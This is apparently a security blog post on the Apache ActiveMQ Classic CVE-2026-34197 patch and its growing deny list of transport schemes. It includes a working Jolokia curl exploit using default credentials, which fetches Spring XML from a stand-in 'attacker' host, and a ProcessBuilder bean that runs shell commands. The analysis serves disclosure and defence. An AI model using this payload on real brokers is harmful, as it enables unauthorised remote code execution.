//nefariousplan

CVE-2026-34197: ActiveMQ's 5.19.4 Patch Denied One Scheme. Six Weeks Later, the Same Line Denies Fourteen.

patterns

cve

proof of concept

The patch that closes CVE-2026-34197 in Apache ActiveMQ Classic 5.19.4 is a four-line method called validateAllowedScheme whose body is if (scheme.equals("vm")) { throw new IllegalArgumentException("VM scheme is not allowed"); }. One scheme name. One string equality.

Six weeks later, on the same activemq-5.19.x branch, in the same file, that check has been promoted to a Set.of(...) literal and the literal contains fourteen entries. The sixteen days after the 5.19.4 release got a separate commit titled "Minor bug fix for BrokerView#validateAllowedUri" because the recursive validator the CVE patch shipped was checking the wrong variable in its inner loop and the author noticed.

The patch closes CVE-2026-34197. The line is still being patched.

The CVE record names one transport scheme

CVE-2026-34197 is reachable at POST /api/jolokia/ on every ActiveMQ Classic instance with the web console enabled, which is the default. Authentication is admin:admin out of the box; the Jolokia bridge is mounted at /api/jolokia/ and is a standard part of the distribution. The PoC repository rootdirective-sec/CVE-2026-34197-Lab builds 5.19.3 and 5.19.4 side by side and runs the chain end to end.

The exploit is a single Jolokia POST that asks the broker MBean to add a network connector. The argument is a string. ActiveMQ parses it as a Discovery URI:

curl -u admin:admin \
  -H 'Content-Type: application/json' \
  -H 'Origin: http://127.0.0.1:8081' \
  -X POST http://127.0.0.1:8081/api/jolokia/ \
  -d '{
    "type": "exec",
    "mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
    "operation": "addNetworkConnector(java.lang.String)",
    "arguments": [
      "static:(vm://anyname?brokerConfig=xbean:http://attacker:9100/evil.xml)"
    ]
  }'

The argument is composite. The outer scheme is static:, the inner is vm:. The vm:// transport tells ActiveMQ to spin up an in-VM broker named anyname; if no broker by that name exists, BrokerFactory.createBroker() creates one. The brokerConfig= query parameter tells the factory where the new broker's configuration lives. The configuration scheme is xbean:, which is ActiveMQ's name for "fetch a Spring XML descriptor and instantiate the beans inside it." The descriptor lives over plain HTTP at the attacker's URL. Spring instantiates whatever beans are declared. The PoC declares one:

<bean id="cve34197LocalProofProcessBuilder"
      class="java.lang.ProcessBuilder"
      init-method="start">
  <constructor-arg>
    <list>
      <value>/bin/sh</value>
      <value>-c</value>
      <value>id; whoami; sleep 5</value>
    </list>
  </constructor-arg>
</bean>

init-method="start" tells Spring to invoke ProcessBuilder.start() during initialization. The broker JVM forks /bin/sh -c "id; whoami; sleep 5" as part of starting the new in-VM broker. The PoC verifies execution out of band with strace -e execve on the broker process. The Horizon3.ai disclosure that accompanied the CVE walks the same chain.

The CVE record describes this by naming the scheme: vm. The vendor advisory uses the same word. The Horizon3 writeup explains that the patch "removed the ability for the addNetworkConnector operation to add vm:// transports, as this was never intended to be exposed as a remote operation."

That last clause is the part the patch did not match.

The 5.19.4 patch is a deny list. With one entry.

The fix shipped on the activemq-5.19.x branch as commit 0ce7560, authored by Christopher L. Shannon on 2026-03-26, with the title "Prevent a VM transport from being used with BrokerView (#1845)." A follow-on commit 9bb9ee6 titled "Also validate nested composite URIs used with BrokerView (#1849)" landed the same day. Both rode in the 5.19.4 release tag two days later.

The diff against BrokerView.java adds a single guard to the two affected MBean methods:

 @Override
 public String addConnector(String discoveryAddress) throws Exception {
+    // Verify VM transport is not used
+    validateAllowedUrl(discoveryAddress);
     TransportConnector connector = brokerService.addConnector(discoveryAddress);
     ...
 }

 @Override
 public String addNetworkConnector(String discoveryAddress) throws Exception {
+    // Verify VM transport is not used
+    validateAllowedUrl(discoveryAddress);
     NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);
     ...
 }

validateAllowedUrl parses the URI, walks composite components, and calls validateAllowedScheme on each. The body of validateAllowedScheme in 5.19.4 is exactly this:

// We don't allow VM transport scheme to be used
private static void validateAllowedScheme(String scheme) {
    if (scheme.equals("vm")) {
        throw new IllegalArgumentException("VM scheme is not allowed");
    }
}

That is the patch. One scheme name, hardcoded as a string literal, compared with equals. The branch comment says "We don't allow VM transport scheme to be used" because at the time the comment was written, the project still believed the bug was that the vm scheme had been exposed.

The same file in the same branch six weeks later carries this:

public static final Set<String> DENIED_TRANSPORT_SCHEMES = Set.of("vm", "http",
        "multicast", "zeroconf", "discovery", "fanout", "mock", "peer", "failover",
        "proxy", "reliable", "simple", "udp", "masterslave");

Fourteen entries. The comment above it has been edited to "Validate the URI does not contain a denied transport scheme." The single string equality has been replaced with a Set membership test. None of those changes closed a new CVE. They closed the next thirteen variants of CVE-2026-34197 the maintainer found by reading the codebase and the next two GitHub issues.

Sixteen days after 5.19.4, the same author fixed his patch

Commit 0a15814, 2026-04-11, "Minor bug fix for BrokerView#validateAllowedUri (#1900)." The diff:

 if (URISupport.isCompositeURI(uri)) {
     URISupport.CompositeData data = URISupport.parseComposite(uri);
     depth++;
     for (URI component : data.getComponents()) {
-        if (URISupport.isCompositeURI(uri)) {
+        if (URISupport.isCompositeURI(component)) {
             validateAllowedUri(component, depth);
         } else {
-            validateAllowedScheme(uri.getScheme());
+            validateAllowedScheme(component.getScheme());
         }
     }
 }

Two uri.something references inside a loop iterating over components. The recursive validator that shipped in 5.19.4 was inspecting the same outer URI on every iteration of the loop, never the inner component. The author's commit message:

The wrong variable is being referenced in the nested loop. This does not cause the validation to actually break due to other checks done during the recursive call, but is incorrect either way.

That paragraph is the maintainer testifying that the patch published as the fix for CVE-2026-34197 had a typo in its core loop, and that the typo did not matter because the recursive call's other checks happened to cover for the bug. 5.19.4 is the release the security advisory tells operators to upgrade to. The 5.19.5-SNAPSHOT bump that contains this fix is two months out from the disclosure.

There is a name we have for the shape where the fix for a CVE introduces a separate bug in the fix itself: apache-h2-spurge-was-an-ihash. That post traces an Apache HTTP Server mod_http2 patch where the consumer's assertion has been kept across a four-year container migration the same author performed and the producer's enforcement was lost. Different file, different vendor product, same Apache, same shape: a security patch that lands incomplete and gets corrected later.

The deny list grows by commit

The publicly visible cadence after 5.19.4, on the same activemq-5.19.x branch, on the same BrokerView.java:

Date Commit Change
2026-03-26 0ce7560 Add validateAllowedScheme(scheme) denying vm. (CVE-2026-34197 fix.)
2026-03-26 9bb9ee6 Walk composite URIs, depth-limit 5. (Ships with variable-shadowing bug.)
2026-03-28 2c1b9ee Tag activemq-5.19.4. Advisory dates from this release.
2026-04-11 0a15814 Fix the variable-shadowing bug in validateAllowedUri's inner loop.
2026-04-13 e1802c8 Restrict XBeanBrokerFactory to file: and classpath: by default.
2026-04-14 c84899b Promote scheme check to Set.of("vm", "http"). Add http.
2026-04-21 f7e4726 Add multicast, zeroconf, discovery, fanout, mock, peer, failover, proxy, reliable, simple, udp. Eleven schemes in one commit.
2026-04-21 854ef64 XBean: separate "remote file" protocol category, disabled by default.
2026-04-27 2c69e46 Add masterslave. Title: "part 2."

Five separate commits adding entries to the same Set literal, across the month after 5.19.4 shipped. Two of them, f7e4726 and 2c69e46, have titles ending in "Add more transport types to the denied list for JMX" and "part 2." The "part 2" suffix is the maintainer's own admission that "the list of schemes that need to be denied" is open-ended.

ActiveMQ Classic ships transport factories for at least the schemes that have arrived on the deny list and several that have not. Each scheme is a META-INF/services/org/apache/activemq/transport/ registration that TransportFactory.findTransportFactory() discovers at runtime by reading the URI's scheme and loading the named class. Adding a scheme to the deny list closes that class to JMX callers. It does not change the discovery mechanism that exposed the class to the URI parser in the first place.

The bug class is the parameter type

addNetworkConnector is declared on BrokerViewMBean as:

String addNetworkConnector(String discoveryAddress) throws Exception;

The MBean accepts a string. The string is a URI. The URI is parsed by URISupport, walked by validateAllowedUrl, and then handed to BrokerService.addNetworkConnector(String), which routes through NetworkConnectorFactory and the chain of transport factories beneath it. Anywhere that chain has the authority to fetch remote configuration, the JMX caller has the authority to fetch remote configuration. The deny list trims the chain by name. The chain is still chosen by the caller's string.

This is design-debt-driver shape. The component (BrokerView) is producing the same bug class repeatedly: a JMX-reachable string method whose value chooses an internal subsystem with config-fetching authority. Camel's DefaultHeaderFilterStrategy produced the same shape thirteen months apart when a one-line setLowerCase(true) opt-in had to be added to five subclasses after being added to one. ActiveMQ's deny list is the same edit five times in five weeks: each commit is an opt-in for one more scheme to refuse, in a Set literal that did not exist when 5.19.4 shipped.

It is also unpatchable-primitive shape. The primitive is "the JMX broker view exposes a string-typed Discovery URI that is parsed into transport factories with config-fetching authority." Removing the primitive means changing addNetworkConnector(String) to take a constrained type, or removing the method from the MBean entirely, both of which break callers that depend on the public ActiveMQ JMX surface. The deny list is the substitute: a name-based blocklist at the boundary, with the underlying authority of the transport factories untouched. Apache's own tomcat-encryptinterceptor-fails-open post traces the same architecture in a sibling Apache product: a security component whose primary method has produced two consecutive CVEs from its own exception handling, fixed by patching the path each time.

The Horizon3 disclosure summarized the underlying architecture in one sentence: the vm:// transport "was never intended to be exposed as a remote operation." The other thirteen schemes on the list are not intended to be exposed as remote operations either. They were exposed because addNetworkConnector(String) accepts every URI scheme the transport factory registry has ever registered, and the registry is open. This is internal-only-by-convention: the framework defines vm, multicast, zeroconf, peer and the rest as internal IPC transports through documentation and habit, and reads them from a remote MBean caller with full authority on every inbound JMX request.

The XBean factory is its own deny list

The XBean factory that fetches xbean:http://attacker/evil.xml was its own patch surface. Commit e1802c8, two weeks after 5.19.4, added a system property to control which protocol types XBeanBrokerFactory will load resources from. The default became file: and classpath:. Five days later, commit 854ef64 separated "remote file" into its own protocol category, also disabled by default. Both changes harden the factory against arbitrary remote XML fetching, the actual mechanism the original PoC used.

Neither of those changes is what 5.19.4 shipped. 5.19.4 closes the JMX boundary's reachability of the vm scheme, and that is all. An operator who upgraded to 5.19.4 to fix CVE-2026-34197 still has an XBean factory that loads remote XML by default until the next release lands, because the patch the advisory points at addressed the JMX surface and not the factory. The first row of the deny list closed the disclosed exploit path. The next thirteen rows, plus two changes to a different file in the same window, are what the maintainer kept finding by following the same parameter through the rest of the codebase.

The shape is older than the CVE

The deny-list approach to JMX hardening is not a 2026 invention. ActiveMQ's BrokerView was given a no-VM check, then a list of denied schemes. ActiveMQ-NMS got similar treatment in earlier branches. The BrokerViewMBean interface has been a public JMX type since 4.x. The signature of addNetworkConnector(String) has been String → connector since the method was added. The string has always been a Discovery URI. The transport factory registry has always been open. CVE-2026-34197 is the disclosure that landed in 2026, with a researcher credit and an advisory and a CVSS score. The substrate it sits on is the same substrate addConnector and addNetworkConnector have presented to JMX callers for the lifetime of the project.

The next CVE in this family is whichever transport scheme, or whichever XBean URL handler, the next person who reads BrokerView.java discovers a way to reach. The maintainer's commit titles already concede the shape: "part 2."

The CVE record names one scheme. The deny list ends in masterslave until the next commit decides it does not.